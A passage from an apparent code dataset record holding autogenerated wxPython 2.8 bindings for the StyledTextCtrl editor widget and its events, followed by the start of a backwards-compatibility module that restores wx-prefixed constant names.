`SetPrintWrapMode`\") \n ReadOnly = property(GetReadOnly,SetReadOnly,doc=\"See `GetReadOnly` and `SetReadOnly`\") \n STCCursor = property(GetSTCCursor,SetSTCCursor,doc=\"See `GetSTCCursor` and `SetSTCCursor`\") \n STCFocus = property(GetSTCFocus,SetSTCFocus,doc=\"See `GetSTCFocus` and `SetSTCFocus`\") \n ScrollWidth = property(GetScrollWidth,SetScrollWidth,doc=\"See `GetScrollWidth` and `SetScrollWidth`\") \n SearchFlags = property(GetSearchFlags,SetSearchFlags,doc=\"See `GetSearchFlags` and `SetSearchFlags`\") \n SelAlpha = property(GetSelAlpha,SetSelAlpha,doc=\"See `GetSelAlpha` and `SetSelAlpha`\") \n SelectedText = property(GetSelectedText,doc=\"See `GetSelectedText`\") \n SelectedTextRaw = property(GetSelectedTextRaw,doc=\"See `GetSelectedTextRaw`\") \n SelectedTextUTF8 = property(GetSelectedTextUTF8,doc=\"See `GetSelectedTextUTF8`\") \n Selection = property(GetSelection,doc=\"See `GetSelection`\") \n SelectionEnd = property(GetSelectionEnd,SetSelectionEnd,doc=\"See `GetSelectionEnd` and `SetSelectionEnd`\") \n SelectionMode = property(GetSelectionMode,SetSelectionMode,doc=\"See `GetSelectionMode` and `SetSelectionMode`\") \n SelectionStart = property(GetSelectionStart,SetSelectionStart,doc=\"See `GetSelectionStart` and `SetSelectionStart`\") \n Status = property(GetStatus,SetStatus,doc=\"See `GetStatus` and `SetStatus`\") \n StyleBits = property(GetStyleBits,SetStyleBits,doc=\"See `GetStyleBits` and `SetStyleBits`\") \n StyleBitsNeeded = property(GetStyleBitsNeeded,doc=\"See `GetStyleBitsNeeded`\") \n TabIndents = property(GetTabIndents,SetTabIndents,doc=\"See `GetTabIndents` and `SetTabIndents`\") \n TabWidth = property(GetTabWidth,SetTabWidth,doc=\"See `GetTabWidth` and `SetTabWidth`\") \n TargetEnd = property(GetTargetEnd,SetTargetEnd,doc=\"See `GetTargetEnd` and `SetTargetEnd`\") \n TargetStart = property(GetTargetStart,SetTargetStart,doc=\"See `GetTargetStart` and `SetTargetStart`\") \n Text = property(GetText,SetText,doc=\"See `GetText` and `SetText`\") \n TextLength = property(GetTextLength,doc=\"See `GetTextLength`\") \n TextRaw = property(GetTextRaw,SetTextRaw,doc=\"See `GetTextRaw` and `SetTextRaw`\") \n TextUTF8 = property(GetTextUTF8,SetTextUTF8,doc=\"See `GetTextUTF8` and `SetTextUTF8`\") \n TwoPhaseDraw = property(GetTwoPhaseDraw,SetTwoPhaseDraw,doc=\"See `GetTwoPhaseDraw` and `SetTwoPhaseDraw`\") \n UndoCollection = property(GetUndoCollection,SetUndoCollection,doc=\"See `GetUndoCollection` and `SetUndoCollection`\") \n UseAntiAliasing = property(GetUseAntiAliasing,SetUseAntiAliasing,doc=\"See `GetUseAntiAliasing` and `SetUseAntiAliasing`\") \n UseHorizontalScrollBar = property(GetUseHorizontalScrollBar,SetUseHorizontalScrollBar,doc=\"See `GetUseHorizontalScrollBar` and `SetUseHorizontalScrollBar`\") \n UseTabs = property(GetUseTabs,SetUseTabs,doc=\"See `GetUseTabs` and `SetUseTabs`\") \n UseVerticalScrollBar = property(GetUseVerticalScrollBar,SetUseVerticalScrollBar,doc=\"See `GetUseVerticalScrollBar` and `SetUseVerticalScrollBar`\") \n ViewEOL = property(GetViewEOL,SetViewEOL,doc=\"See `GetViewEOL` and `SetViewEOL`\") \n ViewWhiteSpace = property(GetViewWhiteSpace,SetViewWhiteSpace,doc=\"See `GetViewWhiteSpace` and `SetViewWhiteSpace`\") \n WrapMode = property(GetWrapMode,SetWrapMode,doc=\"See `GetWrapMode` and `SetWrapMode`\") \n WrapStartIndent = property(GetWrapStartIndent,SetWrapStartIndent,doc=\"See `GetWrapStartIndent` and `SetWrapStartIndent`\") \n WrapVisualFlags = property(GetWrapVisualFlags,SetWrapVisualFlags,doc=\"See `GetWrapVisualFlags` and `SetWrapVisualFlags`\") \n WrapVisualFlagsLocation = property(GetWrapVisualFlagsLocation,SetWrapVisualFlagsLocation,doc=\"See `GetWrapVisualFlagsLocation` and `SetWrapVisualFlagsLocation`\") \n XOffset = property(GetXOffset,SetXOffset,doc=\"See `GetXOffset` and `SetXOffset`\") \n Zoom = property(GetZoom,SetZoom,doc=\"See `GetZoom` and `SetZoom`\") \n_stc.StyledTextCtrl_swigregister(StyledTextCtrl)\ncvar = _stc.cvar\nSTCNameStr = cvar.STCNameStr\n\ndef PreStyledTextCtrl(*args, **kwargs):\n \"\"\"PreStyledTextCtrl() -> StyledTextCtrl\"\"\"\n val = _stc.new_PreStyledTextCtrl(*args, **kwargs)\n return val\n\nclass StyledTextEvent(_core.CommandEvent):\n \"\"\"Proxy of C++ StyledTextEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, EventType commandType=0, int id=0) -> StyledTextEvent\"\"\"\n _stc.StyledTextEvent_swiginit(self,_stc.new_StyledTextEvent(*args, **kwargs))\n __swig_destroy__ = _stc.delete_StyledTextEvent\n __del__ = lambda self : None;\n def SetPosition(*args, **kwargs):\n \"\"\"SetPosition(self, int pos)\"\"\"\n return _stc.StyledTextEvent_SetPosition(*args, **kwargs)\n\n def SetKey(*args, **kwargs):\n \"\"\"SetKey(self, int k)\"\"\"\n return _stc.StyledTextEvent_SetKey(*args, **kwargs)\n\n def SetModifiers(*args, **kwargs):\n \"\"\"SetModifiers(self, int m)\"\"\"\n return _stc.StyledTextEvent_SetModifiers(*args, **kwargs)\n\n def SetModificationType(*args, **kwargs):\n \"\"\"SetModificationType(self, int t)\"\"\"\n return _stc.StyledTextEvent_SetModificationType(*args, **kwargs)\n\n def SetText(*args, **kwargs):\n \"\"\"SetText(self, String t)\"\"\"\n return _stc.StyledTextEvent_SetText(*args, **kwargs)\n\n def SetLength(*args, **kwargs):\n \"\"\"SetLength(self, int len)\"\"\"\n return _stc.StyledTextEvent_SetLength(*args, **kwargs)\n\n def SetLinesAdded(*args, **kwargs):\n \"\"\"SetLinesAdded(self, int num)\"\"\"\n return _stc.StyledTextEvent_SetLinesAdded(*args, **kwargs)\n\n def SetLine(*args, **kwargs):\n \"\"\"SetLine(self, int val)\"\"\"\n return _stc.StyledTextEvent_SetLine(*args, **kwargs)\n\n def SetFoldLevelNow(*args, **kwargs):\n \"\"\"SetFoldLevelNow(self, int val)\"\"\"\n return _stc.StyledTextEvent_SetFoldLevelNow(*args, **kwargs)\n\n def SetFoldLevelPrev(*args, **kwargs):\n \"\"\"SetFoldLevelPrev(self, int val)\"\"\"\n return _stc.StyledTextEvent_SetFoldLevelPrev(*args, **kwargs)\n\n def SetMargin(*args, **kwargs):\n \"\"\"SetMargin(self, int val)\"\"\"\n return _stc.StyledTextEvent_SetMargin(*args, **kwargs)\n\n def SetMessage(*args, **kwargs):\n \"\"\"SetMessage(self, int val)\"\"\"\n return _stc.StyledTextEvent_SetMessage(*args, **kwargs)\n\n def SetWParam(*args, **kwargs):\n \"\"\"SetWParam(self, int val)\"\"\"\n return _stc.StyledTextEvent_SetWParam(*args, **kwargs)\n\n def SetLParam(*args, **kwargs):\n \"\"\"SetLParam(self, int val)\"\"\"\n return _stc.StyledTextEvent_SetLParam(*args, **kwargs)\n\n def SetListType(*args, **kwargs):\n \"\"\"SetListType(self, int val)\"\"\"\n return _stc.StyledTextEvent_SetListType(*args, **kwargs)\n\n def SetX(*args, **kwargs):\n \"\"\"SetX(self, int val)\"\"\"\n return _stc.StyledTextEvent_SetX(*args, **kwargs)\n\n def SetY(*args, **kwargs):\n \"\"\"SetY(self, int val)\"\"\"\n return _stc.StyledTextEvent_SetY(*args, **kwargs)\n\n def SetDragText(*args, **kwargs):\n \"\"\"SetDragText(self, String val)\"\"\"\n return _stc.StyledTextEvent_SetDragText(*args, **kwargs)\n\n def SetDragAllowMove(*args, **kwargs):\n \"\"\"SetDragAllowMove(self, bool val)\"\"\"\n return _stc.StyledTextEvent_SetDragAllowMove(*args, **kwargs)\n\n def SetDragResult(*args, **kwargs):\n \"\"\"SetDragResult(self, int val)\"\"\"\n return _stc.StyledTextEvent_SetDragResult(*args, **kwargs)\n\n def GetPosition(*args, **kwargs):\n \"\"\"GetPosition(self) -> int\"\"\"\n return _stc.StyledTextEvent_GetPosition(*args, **kwargs)\n\n def GetKey(*args, **kwargs):\n \"\"\"GetKey(self) -> int\"\"\"\n return _stc.StyledTextEvent_GetKey(*args, **kwargs)\n\n def GetModifiers(*args, **kwargs):\n \"\"\"GetModifiers(self) -> int\"\"\"\n return _stc.StyledTextEvent_GetModifiers(*args, **kwargs)\n\n def GetModificationType(*args, **kwargs):\n \"\"\"GetModificationType(self) -> int\"\"\"\n return _stc.StyledTextEvent_GetModificationType(*args, **kwargs)\n\n def GetText(*args, **kwargs):\n \"\"\"GetText(self) -> String\"\"\"\n return _stc.StyledTextEvent_GetText(*args, **kwargs)\n\n def GetLength(*args, **kwargs):\n \"\"\"GetLength(self) -> int\"\"\"\n return _stc.StyledTextEvent_GetLength(*args, **kwargs)\n\n def GetLinesAdded(*args, **kwargs):\n \"\"\"GetLinesAdded(self) -> int\"\"\"\n return _stc.StyledTextEvent_GetLinesAdded(*args, **kwargs)\n\n def GetLine(*args, **kwargs):\n \"\"\"GetLine(self) -> int\"\"\"\n return _stc.StyledTextEvent_GetLine(*args, **kwargs)\n\n def GetFoldLevelNow(*args, **kwargs):\n \"\"\"GetFoldLevelNow(self) -> int\"\"\"\n return _stc.StyledTextEvent_GetFoldLevelNow(*args, **kwargs)\n\n def GetFoldLevelPrev(*args, **kwargs):\n \"\"\"GetFoldLevelPrev(self) -> int\"\"\"\n return _stc.StyledTextEvent_GetFoldLevelPrev(*args, **kwargs)\n\n def GetMargin(*args, **kwargs):\n \"\"\"GetMargin(self) -> int\"\"\"\n return _stc.StyledTextEvent_GetMargin(*args, **kwargs)\n\n def GetMessage(*args, **kwargs):\n \"\"\"GetMessage(self) -> int\"\"\"\n return _stc.StyledTextEvent_GetMessage(*args, **kwargs)\n\n def GetWParam(*args, **kwargs):\n \"\"\"GetWParam(self) -> int\"\"\"\n return _stc.StyledTextEvent_GetWParam(*args, **kwargs)\n\n def GetLParam(*args, **kwargs):\n \"\"\"GetLParam(self) -> int\"\"\"\n return _stc.StyledTextEvent_GetLParam(*args, **kwargs)\n\n def GetListType(*args, **kwargs):\n \"\"\"GetListType(self) -> int\"\"\"\n return _stc.StyledTextEvent_GetListType(*args, **kwargs)\n\n def GetX(*args, **kwargs):\n \"\"\"GetX(self) -> int\"\"\"\n return _stc.StyledTextEvent_GetX(*args, **kwargs)\n\n def GetY(*args, **kwargs):\n \"\"\"GetY(self) -> int\"\"\"\n return _stc.StyledTextEvent_GetY(*args, **kwargs)\n\n def GetDragText(*args, **kwargs):\n \"\"\"GetDragText(self) -> String\"\"\"\n return _stc.StyledTextEvent_GetDragText(*args, **kwargs)\n\n def GetDragAllowMove(*args, **kwargs):\n \"\"\"GetDragAllowMove(self) -> bool\"\"\"\n return _stc.StyledTextEvent_GetDragAllowMove(*args, **kwargs)\n\n def GetDragResult(*args, **kwargs):\n \"\"\"GetDragResult(self) -> int\"\"\"\n return _stc.StyledTextEvent_GetDragResult(*args, **kwargs)\n\n def GetShift(*args, **kwargs):\n \"\"\"GetShift(self) -> bool\"\"\"\n return _stc.StyledTextEvent_GetShift(*args, **kwargs)\n\n def GetControl(*args, **kwargs):\n \"\"\"GetControl(self) -> bool\"\"\"\n return _stc.StyledTextEvent_GetControl(*args, **kwargs)\n\n def GetAlt(*args, **kwargs):\n \"\"\"GetAlt(self) -> bool\"\"\"\n return _stc.StyledTextEvent_GetAlt(*args, **kwargs)\n\n Alt = property(GetAlt,doc=\"See `GetAlt`\") \n Control = property(GetControl,doc=\"See `GetControl`\") \n DragAllowMove = property(GetDragAllowMove,SetDragAllowMove,doc=\"See `GetDragAllowMove` and `SetDragAllowMove`\") \n DragResult = property(GetDragResult,SetDragResult,doc=\"See `GetDragResult` and `SetDragResult`\") \n DragText = property(GetDragText,SetDragText,doc=\"See `GetDragText` and `SetDragText`\") \n FoldLevelNow = property(GetFoldLevelNow,SetFoldLevelNow,doc=\"See `GetFoldLevelNow` and `SetFoldLevelNow`\") \n FoldLevelPrev = property(GetFoldLevelPrev,SetFoldLevelPrev,doc=\"See `GetFoldLevelPrev` and `SetFoldLevelPrev`\") \n Key = property(GetKey,SetKey,doc=\"See `GetKey` and `SetKey`\") \n LParam = property(GetLParam,SetLParam,doc=\"See `GetLParam` and `SetLParam`\") \n Length = property(GetLength,SetLength,doc=\"See `GetLength` and `SetLength`\") \n Line = property(GetLine,SetLine,doc=\"See `GetLine` and `SetLine`\") \n LinesAdded = property(GetLinesAdded,SetLinesAdded,doc=\"See `GetLinesAdded` and `SetLinesAdded`\") \n ListType = property(GetListType,SetListType,doc=\"See `GetListType` and `SetListType`\") \n Margin = property(GetMargin,SetMargin,doc=\"See `GetMargin` and `SetMargin`\") \n Message = property(GetMessage,SetMessage,doc=\"See `GetMessage` and `SetMessage`\") \n ModificationType = property(GetModificationType,SetModificationType,doc=\"See `GetModificationType` and `SetModificationType`\") \n Modifiers = property(GetModifiers,SetModifiers,doc=\"See `GetModifiers` and `SetModifiers`\") \n Position = property(GetPosition,SetPosition,doc=\"See `GetPosition` and `SetPosition`\") \n Shift = property(GetShift,doc=\"See `GetShift`\") \n Text = property(GetText,SetText,doc=\"See `GetText` and `SetText`\") \n WParam = property(GetWParam,SetWParam,doc=\"See `GetWParam` and `SetWParam`\") \n X = property(GetX,SetX,doc=\"See `GetX` and `SetX`\") \n Y = property(GetY,SetY,doc=\"See `GetY` and `SetY`\") \n_stc.StyledTextEvent_swigregister(StyledTextEvent)\n\nwxEVT_STC_CHANGE = _stc.wxEVT_STC_CHANGE\nwxEVT_STC_STYLENEEDED = _stc.wxEVT_STC_STYLENEEDED\nwxEVT_STC_CHARADDED = _stc.wxEVT_STC_CHARADDED\nwxEVT_STC_SAVEPOINTREACHED = _stc.wxEVT_STC_SAVEPOINTREACHED\nwxEVT_STC_SAVEPOINTLEFT = _stc.wxEVT_STC_SAVEPOINTLEFT\nwxEVT_STC_ROMODIFYATTEMPT = _stc.wxEVT_STC_ROMODIFYATTEMPT\nwxEVT_STC_KEY = _stc.wxEVT_STC_KEY\nwxEVT_STC_DOUBLECLICK = _stc.wxEVT_STC_DOUBLECLICK\nwxEVT_STC_UPDATEUI = _stc.wxEVT_STC_UPDATEUI\nwxEVT_STC_MODIFIED = _stc.wxEVT_STC_MODIFIED\nwxEVT_STC_MACRORECORD = _stc.wxEVT_STC_MACRORECORD\nwxEVT_STC_MARGINCLICK = _stc.wxEVT_STC_MARGINCLICK\nwxEVT_STC_NEEDSHOWN = _stc.wxEVT_STC_NEEDSHOWN\nwxEVT_STC_PAINTED = _stc.wxEVT_STC_PAINTED\nwxEVT_STC_USERLISTSELECTION = _stc.wxEVT_STC_USERLISTSELECTION\nwxEVT_STC_URIDROPPED = _stc.wxEVT_STC_URIDROPPED\nwxEVT_STC_DWELLSTART = _stc.wxEVT_STC_DWELLSTART\nwxEVT_STC_DWELLEND = _stc.wxEVT_STC_DWELLEND\nwxEVT_STC_START_DRAG = _stc.wxEVT_STC_START_DRAG\nwxEVT_STC_DRAG_OVER = _stc.wxEVT_STC_DRAG_OVER\nwxEVT_STC_DO_DROP = _stc.wxEVT_STC_DO_DROP\nwxEVT_STC_ZOOM = _stc.wxEVT_STC_ZOOM\nwxEVT_STC_HOTSPOT_CLICK = _stc.wxEVT_STC_HOTSPOT_CLICK\nwxEVT_STC_HOTSPOT_DCLICK = _stc.wxEVT_STC_HOTSPOT_DCLICK\nwxEVT_STC_CALLTIP_CLICK = _stc.wxEVT_STC_CALLTIP_CLICK\nwxEVT_STC_AUTOCOMP_SELECTION = _stc.wxEVT_STC_AUTOCOMP_SELECTION\nEVT_STC_CHANGE = wx.PyEventBinder( wxEVT_STC_CHANGE, 1 )\nEVT_STC_STYLENEEDED = wx.PyEventBinder( wxEVT_STC_STYLENEEDED, 1 )\nEVT_STC_CHARADDED = wx.PyEventBinder( wxEVT_STC_CHARADDED, 1 )\nEVT_STC_SAVEPOINTREACHED = wx.PyEventBinder( wxEVT_STC_SAVEPOINTREACHED, 1 )\nEVT_STC_SAVEPOINTLEFT = wx.PyEventBinder( wxEVT_STC_SAVEPOINTLEFT, 1 )\nEVT_STC_ROMODIFYATTEMPT = wx.PyEventBinder( wxEVT_STC_ROMODIFYATTEMPT, 1 )\nEVT_STC_KEY = wx.PyEventBinder( wxEVT_STC_KEY, 1 )\nEVT_STC_DOUBLECLICK = wx.PyEventBinder( wxEVT_STC_DOUBLECLICK, 1 )\nEVT_STC_UPDATEUI = wx.PyEventBinder( wxEVT_STC_UPDATEUI, 1 )\nEVT_STC_MODIFIED = wx.PyEventBinder( wxEVT_STC_MODIFIED, 1 )\nEVT_STC_MACRORECORD = wx.PyEventBinder( wxEVT_STC_MACRORECORD, 1 )\nEVT_STC_MARGINCLICK = wx.PyEventBinder( wxEVT_STC_MARGINCLICK, 1 )\nEVT_STC_NEEDSHOWN = wx.PyEventBinder( wxEVT_STC_NEEDSHOWN, 1 )\nEVT_STC_PAINTED = wx.PyEventBinder( wxEVT_STC_PAINTED, 1 )\nEVT_STC_USERLISTSELECTION = wx.PyEventBinder( wxEVT_STC_USERLISTSELECTION, 1 )\nEVT_STC_URIDROPPED = wx.PyEventBinder( wxEVT_STC_URIDROPPED, 1 )\nEVT_STC_DWELLSTART = wx.PyEventBinder( wxEVT_STC_DWELLSTART, 1 )\nEVT_STC_DWELLEND = wx.PyEventBinder( wxEVT_STC_DWELLEND, 1 )\nEVT_STC_START_DRAG = wx.PyEventBinder( wxEVT_STC_START_DRAG, 1 )\nEVT_STC_DRAG_OVER = wx.PyEventBinder( wxEVT_STC_DRAG_OVER, 1 )\nEVT_STC_DO_DROP = wx.PyEventBinder( wxEVT_STC_DO_DROP, 1 )\nEVT_STC_ZOOM = wx.PyEventBinder( wxEVT_STC_ZOOM, 1 )\nEVT_STC_HOTSPOT_CLICK = wx.PyEventBinder( wxEVT_STC_HOTSPOT_CLICK, 1 )\nEVT_STC_HOTSPOT_DCLICK = wx.PyEventBinder( wxEVT_STC_HOTSPOT_DCLICK, 1 )\nEVT_STC_CALLTIP_CLICK = wx.PyEventBinder( wxEVT_STC_CALLTIP_CLICK, 1 )\nEVT_STC_AUTOCOMP_SELECTION = wx.PyEventBinder( wxEVT_STC_AUTOCOMP_SELECTION, 1 )\n\n\n\n", "id": "2069758", "language": "Python", "matching_score": 14.22559928894043, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/stc.py" }, { "content": "## This file reverse renames symbols in the wx package to give\n## them their wx prefix again, for backwards compatibility.\n##\n## Generated by BuildRenamers in config.py\n\n# This silly stuff here is so the wxPython.wx module doesn't conflict\n# with the wx package. We need to import modules from the wx package\n# here, then we'll put the wxPython.wx entry back in sys.modules.\nimport sys\n_wx = None\nif sys.modules.has_key('wxPython.wx'):\n _wx = sys.modules['wxPython.wx']\n del sys.modules['wxPython.wx']\n\nimport wx.stc\n\nsys.modules['wxPython.wx'] = _wx\ndel sys, _wx\n\n\n# Now assign all the reverse-renamed names:\nwxSTCNameStr = wx.stc.STCNameStr\nSTC_USE_DND = wx.stc.STC_USE_DND\nwxSTC_USE_POPUP = wx.stc.STC_USE_POPUP\nwxSTC_INVALID_POSITION = wx.stc.STC_INVALID_POSITION\nwxSTC_START = wx.stc.STC_START\nwxSTC_OPTIONAL_START = wx.stc.STC_OPTIONAL_START\nwxSTC_LEXER_START = wx.stc.STC_LEXER_START\nwxSTC_WS_INVISIBLE = wx.stc.STC_WS_INVISIBLE\nwxSTC_WS_VISIBLEALWAYS = wx.stc.STC_WS_VISIBLEALWAYS\nwxSTC_WS_VISIBLEAFTERINDENT = wx.stc.STC_WS_VISIBLEAFTERINDENT\nwxSTC_EOL_CRLF = wx.stc.STC_EOL_CRLF\nwxSTC_EOL_CR = wx.stc.STC_EOL_CR\nwxSTC_EOL_LF = wx.stc.STC_EOL_LF\nwxSTC_CP_UTF8 = wx.stc.STC_CP_UTF8\nwxSTC_CP_DBCS = wx.stc.STC_CP_DBCS\nwxSTC_MARKER_MAX = wx.stc.STC_MARKER_MAX\nwxSTC_MARK_CIRCLE = wx.stc.STC_MARK_CIRCLE\nwxSTC_MARK_ROUNDRECT = wx.stc.STC_MARK_ROUNDRECT\nwxSTC_MARK_ARROW = wx.stc.STC_MARK_ARROW\nwxSTC_MARK_SMALLRECT = wx.stc.STC_MARK_SMALLRECT\nwxSTC_MARK_SHORTARROW = wx.stc.STC_MARK_SHORTARROW\nwxSTC_MARK_EMPTY = wx.stc.STC_MARK_EMPTY\nwxSTC_MARK_ARROWDOWN = wx.stc.STC_MARK_ARROWDOWN\nwxSTC_MARK_MINUS = wx.stc.STC_MARK_MINUS\nwxSTC_MARK_PLUS = wx.stc.STC_MARK_PLUS\nwxSTC_MARK_VLINE = wx.stc.STC_MARK_VLINE\nwxSTC_MARK_LCORNER = wx.stc.STC_MARK_LCORNER\nwxSTC_MARK_TCORNER = wx.stc.STC_MARK_TCORNER\nwxSTC_MARK_BOXPLUS = wx.stc.STC_MARK_BOXPLUS\nwxSTC_MARK_BOXPLUSCONNECTED = wx.stc.STC_MARK_BOXPLUSCONNECTED\nwxSTC_MARK_BOXMINUS = wx.stc.STC_MARK_BOXMINUS\nwxSTC_MARK_BOXMINUSCONNECTED = wx.stc.STC_MARK_BOXMINUSCONNECTED\nwxSTC_MARK_LCORNERCURVE = wx.stc.STC_MARK_LCORNERCURVE\nwxSTC_MARK_TCORNERCURVE = wx.stc.STC_MARK_TCORNERCURVE\nwxSTC_MARK_CIRCLEPLUS = wx.stc.STC_MARK_CIRCLEPLUS\nwxSTC_MARK_CIRCLEPLUSCONNECTED = wx.stc.STC_MARK_CIRCLEPLUSCONNECTED\nwxSTC_MARK_CIRCLEMINUS = wx.stc.STC_MARK_CIRCLEMINUS\nwxSTC_MARK_CIRCLEMINUSCONNECTED = wx.stc.STC_MARK_CIRCLEMINUSCONNECTED\nwxSTC_MARK_BACKGROUND = wx.stc.STC_MARK_BACKGROUND\nwxSTC_MARK_DOTDOTDOT = wx.stc.STC_MARK_DOTDOTDOT\nwxSTC_MARK_ARROWS = wx.stc.STC_MARK_ARROWS\nwxSTC_MARK_PIXMAP = wx.stc.STC_MARK_PIXMAP\nwxSTC_MARK_FULLRECT = wx.stc.STC_MARK_FULLRECT\nwxSTC_MARK_CHARACTER = wx.stc.STC_MARK_CHARACTER\nwxSTC_MARKNUM_FOLDEREND = wx.stc.STC_MARKNUM_FOLDEREND\nwxSTC_MARKNUM_FOLDEROPENMID = wx.stc.STC_MARKNUM_FOLDEROPENMID\nwxSTC_MARKNUM_FOLDERMIDTAIL = wx.stc.STC_MARKNUM_FOLDERMIDTAIL\nwxSTC_MARKNUM_FOLDERTAIL = wx.stc.STC_MARKNUM_FOLDERTAIL\nwxSTC_MARKNUM_FOLDERSUB = wx.stc.STC_MARKNUM_FOLDERSUB\nwxSTC_MARKNUM_FOLDER = wx.stc.STC_MARKNUM_FOLDER\nwxSTC_MARKNUM_FOLDEROPEN = wx.stc.STC_MARKNUM_FOLDEROPEN\nwxSTC_MASK_FOLDERS = wx.stc.STC_MASK_FOLDERS\nwxSTC_MARGIN_SYMBOL = wx.stc.STC_MARGIN_SYMBOL\nwxSTC_MARGIN_NUMBER = wx.stc.STC_MARGIN_NUMBER\nwxSTC_STYLE_DEFAULT = wx.stc.STC_STYLE_DEFAULT\nwxSTC_STYLE_LINENUMBER = wx.stc.STC_STYLE_LINENUMBER\nwxSTC_STYLE_BRACELIGHT = wx.stc.STC_STYLE_BRACELIGHT\nwxSTC_STYLE_BRACEBAD = wx.stc.STC_STYLE_BRACEBAD\nwxSTC_STYLE_CONTROLCHAR = wx.stc.STC_STYLE_CONTROLCHAR\nwxSTC_STYLE_INDENTGUIDE = wx.stc.STC_STYLE_INDENTGUIDE\nwxSTC_STYLE_LASTPREDEFINED = wx.stc.STC_STYLE_LASTPREDEFINED\nwxSTC_STYLE_MAX = wx.stc.STC_STYLE_MAX\nwxSTC_CHARSET_ANSI = wx.stc.STC_CHARSET_ANSI\nwxSTC_CHARSET_DEFAULT = wx.stc.STC_CHARSET_DEFAULT\nwxSTC_CHARSET_BALTIC = wx.stc.STC_CHARSET_BALTIC\nwxSTC_CHARSET_CHINESEBIG5 = wx.stc.STC_CHARSET_CHINESEBIG5\nwxSTC_CHARSET_EASTEUROPE = wx.stc.STC_CHARSET_EASTEUROPE\nwxSTC_CHARSET_GB2312 = wx.stc.STC_CHARSET_GB2312\nwxSTC_CHARSET_GREEK = wx.stc.STC_CHARSET_GREEK\nwxSTC_CHARSET_HANGUL = wx.stc.STC_CHARSET_HANGUL\nwxSTC_CHARSET_MAC = wx.stc.STC_CHARSET_MAC\nwxSTC_CHARSET_OEM = wx.stc.STC_CHARSET_OEM\nwxSTC_CHARSET_RUSSIAN = wx.stc.STC_CHARSET_RUSSIAN\nwxSTC_CHARSET_CYRILLIC = wx.stc.STC_CHARSET_CYRILLIC\nwxSTC_CHARSET_SHIFTJIS = wx.stc.STC_CHARSET_SHIFTJIS\nwxSTC_CHARSET_SYMBOL = wx.stc.STC_CHARSET_SYMBOL\nwxSTC_CHARSET_TURKISH = wx.stc.STC_CHARSET_TURKISH\nwxSTC_CHARSET_JOHAB = wx.stc.STC_CHARSET_JOHAB\nwxSTC_CHARSET_HEBREW = wx.stc.STC_CHARSET_HEBREW\nwxSTC_CHARSET_ARABIC = wx.stc.STC_CHARSET_ARABIC\nwxSTC_CHARSET_VIETNAMESE = wx.stc.STC_CHARSET_VIETNAMESE\nwxSTC_CHARSET_THAI = wx.stc.STC_CHARSET_THAI\nwxSTC_CHARSET_8859_15 = wx.stc.STC_CHARSET_8859_15\nwxSTC_CASE_MIXED = wx.stc.STC_CASE_MIXED\nwxSTC_CASE_UPPER = wx.stc.STC_CASE_UPPER\nwxSTC_CASE_LOWER = wx.stc.STC_CASE_LOWER\nwxSTC_INDIC_MAX = wx.stc.STC_INDIC_MAX\nwxSTC_INDIC_PLAIN = wx.stc.STC_INDIC_PLAIN\nwxSTC_INDIC_SQUIGGLE = wx.stc.STC_INDIC_SQUIGGLE\nwxSTC_INDIC_TT = wx.stc.STC_INDIC_TT\nwxSTC_INDIC_DIAGONAL = wx.stc.STC_INDIC_DIAGONAL\nwxSTC_INDIC_STRIKE = wx.stc.STC_INDIC_STRIKE\nwxSTC_INDIC_HIDDEN = wx.stc.STC_INDIC_HIDDEN\nwxSTC_INDIC_BOX = wx.stc.STC_INDIC_BOX\nwxSTC_INDIC0_MASK = wx.stc.STC_INDIC0_MASK\nwxSTC_INDIC1_MASK = wx.stc.STC_INDIC1_MASK\nwxSTC_INDIC2_MASK = wx.stc.STC_INDIC2_MASK\nwxSTC_INDICS_MASK = wx.stc.STC_INDICS_MASK\nwxSTC_PRINT_NORMAL = wx.stc.STC_PRINT_NORMAL\nwxSTC_PRINT_INVERTLIGHT = wx.stc.STC_PRINT_INVERTLIGHT\nwxSTC_PRINT_BLACKONWHITE = wx.stc.STC_PRINT_BLACKONWHITE\nwxSTC_PRINT_COLOURONWHITE = wx.stc.STC_PRINT_COLOURONWHITE\nwxSTC_PRINT_COLOURONWHITEDEFAULTBG = wx.stc.STC_PRINT_COLOURONWHITEDEFAULTBG\nwxSTC_FIND_WHOLEWORD = wx.stc.STC_FIND_WHOLEWORD\nwxSTC_FIND_MATCHCASE = wx.stc.STC_FIND_MATCHCASE\nwxSTC_FIND_WORDSTART = wx.stc.STC_FIND_WORDSTART\nwxSTC_FIND_REGEXP = wx.stc.STC_FIND_REGEXP\nwxSTC_FIND_POSIX = wx.stc.STC_FIND_POSIX\nwxSTC_FOLDLEVELBASE = wx.stc.STC_FOLDLEVELBASE\nwxSTC_FOLDLEVELWHITEFLAG = wx.stc.STC_FOLDLEVELWHITEFLAG\nwxSTC_FOLDLEVELHEADERFLAG = wx.stc.STC_FOLDLEVELHEADERFLAG\nwxSTC_FOLDLEVELBOXHEADERFLAG = wx.stc.STC_FOLDLEVELBOXHEADERFLAG\nwxSTC_FOLDLEVELBOXFOOTERFLAG = wx.stc.STC_FOLDLEVELBOXFOOTERFLAG\nwxSTC_FOLDLEVELCONTRACTED = wx.stc.STC_FOLDLEVELCONTRACTED\nwxSTC_FOLDLEVELUNINDENT = wx.stc.STC_FOLDLEVELUNINDENT\nwxSTC_FOLDLEVELNUMBERMASK = wx.stc.STC_FOLDLEVELNUMBERMASK\nwxSTC_FOLDFLAG_LINEBEFORE_EXPANDED = wx.stc.STC_FOLDFLAG_LINEBEFORE_EXPANDED\nwxSTC_FOLDFLAG_LINEBEFORE_CONTRACTED = wx.stc.STC_FOLDFLAG_LINEBEFORE_CONTRACTED\nwxSTC_FOLDFLAG_LINEAFTER_EXPANDED = wx.stc.STC_FOLDFLAG_LINEAFTER_EXPANDED\nwxSTC_FOLDFLAG_LINEAFTER_CONTRACTED = wx.stc.STC_FOLDFLAG_LINEAFTER_CONTRACTED\nwxSTC_FOLDFLAG_LEVELNUMBERS = wx.stc.STC_FOLDFLAG_LEVELNUMBERS\nwxSTC_FOLDFLAG_BOX = wx.stc.STC_FOLDFLAG_BOX\nwxSTC_TIME_FOREVER = wx.stc.STC_TIME_FOREVER\nwxSTC_WRAP_NONE = wx.stc.STC_WRAP_NONE\nwxSTC_WRAP_WORD = wx.stc.STC_WRAP_WORD\nwxSTC_WRAP_CHAR = 